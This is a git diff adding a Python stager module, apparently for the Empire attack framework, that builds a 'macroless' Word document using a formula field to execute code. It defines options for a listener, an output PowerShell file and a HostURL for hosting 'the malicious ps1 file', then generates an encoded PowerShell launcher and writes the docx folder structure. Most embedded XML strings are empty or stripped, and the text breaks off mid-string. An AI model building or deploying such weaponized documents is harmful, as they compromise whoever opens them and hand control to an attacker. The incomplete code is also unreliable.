diff --git a/lib/stagers/windows/macroless_msword.py b/lib/stagers/windows/macroless_msword.py
new file mode 100644
index 0000000..f40fe1c
--- /dev/null
+++ b/lib/stagers/windows/macroless_msword.py
@@ -0,0 +1,171 @@
+# -*- coding: utf-8 -*-
+from lib.common import helpers
+import os
+
+class Stager:
+
+ def __init__(self, mainMenu, params=[]):
+
+ # metadata info about the module, not modified during runtime
+ self.info = {
+ 'Name': 'Macroless code execution in MSWord',
+
+ 'Author': ['james fitts'],
+
+ 'Description': ('Creates a macroless document utilizing a formula field for code execution'),
+
+ 'Comments': ["Hard work by Etienne Stalmas and Saif El-Sherei"]
+ }
+
+ # any options needed by the module, settable during runtime
+ self.options = {
+ # format:
+ # value_name : {description, required, default_value}
+ 'Listener' : {
+ 'Description' : 'Listener to use for the payload.',
+ 'Required' : True,
+ 'Value' : ''
+ },
+ 'OutputPs1' : {
+ 'Description' : 'PS1 file to execute against the target.',
+ 'Required' : True,
+ 'Value' : 'default.ps1'
+ },
+ 'OutputDocx' : {
+ 'Description' : 'MSOffice document name.',
+ 'Required' : True,
+ 'Value' : 'empire.docx'
+ },
+ 'OutputPath' : {
+ 'Description' : 'Output path for the files.',
+ 'Required' : True,
+ 'Value' : '/tmp/'
+ },
+ 'HostURL' : {
+ 'Description' : 'IP address to host the malicious ps1 file.',
+ 'Required' : True,
+ 'Value' : 'http://192.168.1.1:80'
+ }
+ }
+
+ # save off a copy of the mainMenu object to access external functionality
+ # like listeners/agent handlers/etc.
+ self.mainMenu = mainMenu
+
+ # During instantiation, any settable option parameters
+ # are passed as an object set to the module and the
+ # options dictionary is automatically set. This is mostly
+ # in case options are passed on the command line
+ if params:
+ for param in params:
+ # parameter format is [Name, Value]
+ option, value = param
+ if option in self.options:
+ self.options[option]['Value'] = value
+
+ def generate(self, obfuscate=False, obfuscationCommand=""):
+
+ listener = self.options['Listener']['Value']
+ output_path = self.options['OutputPath']['Value']
+ output_docx = self.options['OutputDocx']['Value']
+ host = self.options['HostURL']['Value']
+ ps1 = self.options['OutputPs1']['Value']
+
+ if not self.mainMenu.listeners.is_listener_valid(listener):
+ print helpers.color("[!] Invalid listener: " + listener)
+ return ""
+ else:
+ launcher = self.mainMenu.stagers.generate_launcher(listener, language='powershell', encode=True)
+
+ def create_directory_structure(outdir):
+ os.makedirs(outdir + "_rels")
+ os.makedirs(outdir + "docProps")
+ os.makedirs(outdir + "word")
+ os.makedirs(outdir + "word/_rels")
+ os.makedirs(outdir + "word/theme")
+
+ def create_files(outdir):
+ content_types = """
+"""
+
+ f = open(outdir + "[Content_Types].xml", 'w')
+ f.write(content_types)
+
+ hidden_rels = """
+"""
+
+ f = open(outdir + "_rels/.rels", 'w')
+ f.write(hidden_rels)
+
+ docProps_app = """
+Normal.dotm211270Microsoft Office Word011falseTitle1false81falsefalse16.0000"""
+
+ f = open(outdir + "docProps/app.xml", 'w')
+ f.write(docProps_app)
+
+ docProps_core = """
+AdministratorAdministrator12017-10-11T12:49:00Z2017-10-11T12:51:00Z"""
+
+ f = open(outdir + "docProps/core.xml", 'w')
+ f.write(docProps_core)
+
+ word_rels = """
+"""
+
+ f = open(outdir + "word/_rels/document.xml.rels", 'w')
+ f.write(word_rels)
+
+ word_theme = """
+"""
+
+ f = open(outdir + "word/theme/theme1.xml", 'w')
+ f.write(word_theme)
+
+ font_table = """
+"""
+
+ f = open(outdir + "word/fontTable.xml", 'w')
+ f.write(font_table)
+
+ settings = """
+"""
+
+ f = open(outdir + "word/settings.xml", 'w')
+ f.write(settings)
+
+ styles = """
+